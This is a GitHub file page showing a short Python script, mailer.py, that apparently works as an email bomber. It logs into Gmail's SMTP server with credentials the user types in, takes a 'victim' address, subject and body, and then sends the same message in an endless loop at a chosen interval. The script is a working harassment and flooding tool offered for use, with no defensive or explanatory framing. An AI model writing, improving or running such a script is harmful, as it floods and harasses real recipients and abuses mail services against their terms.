-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmailer.py
More file actions
40 lines (24 loc) · 782 Bytes
/
mailer.py
File metadata and controls
40 lines (24 loc) · 782 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import time
server = smtplib.SMTP('smtp.gmail.com:587')
login = input("enter your email adress: ")
password = input("enter password of your email: ")
victim = input("enter victim's email adress: ")
subject = input("enter subject of email: ")
body = input("enter text of email: ")
tm = input("set timeout(in seconds): ")
t = float(tm)
msg = MIMEText(body, 'plain', 'utf-8')
msg['Subject'] = Header(subject, 'utf-8')
server.starttls()
server.ehlo()
server.login(login, password )
while True:
try:
server.sendmail(login, victim, msg.as_string())
print("sent")
except:
print("not sent")
time.sleep(t)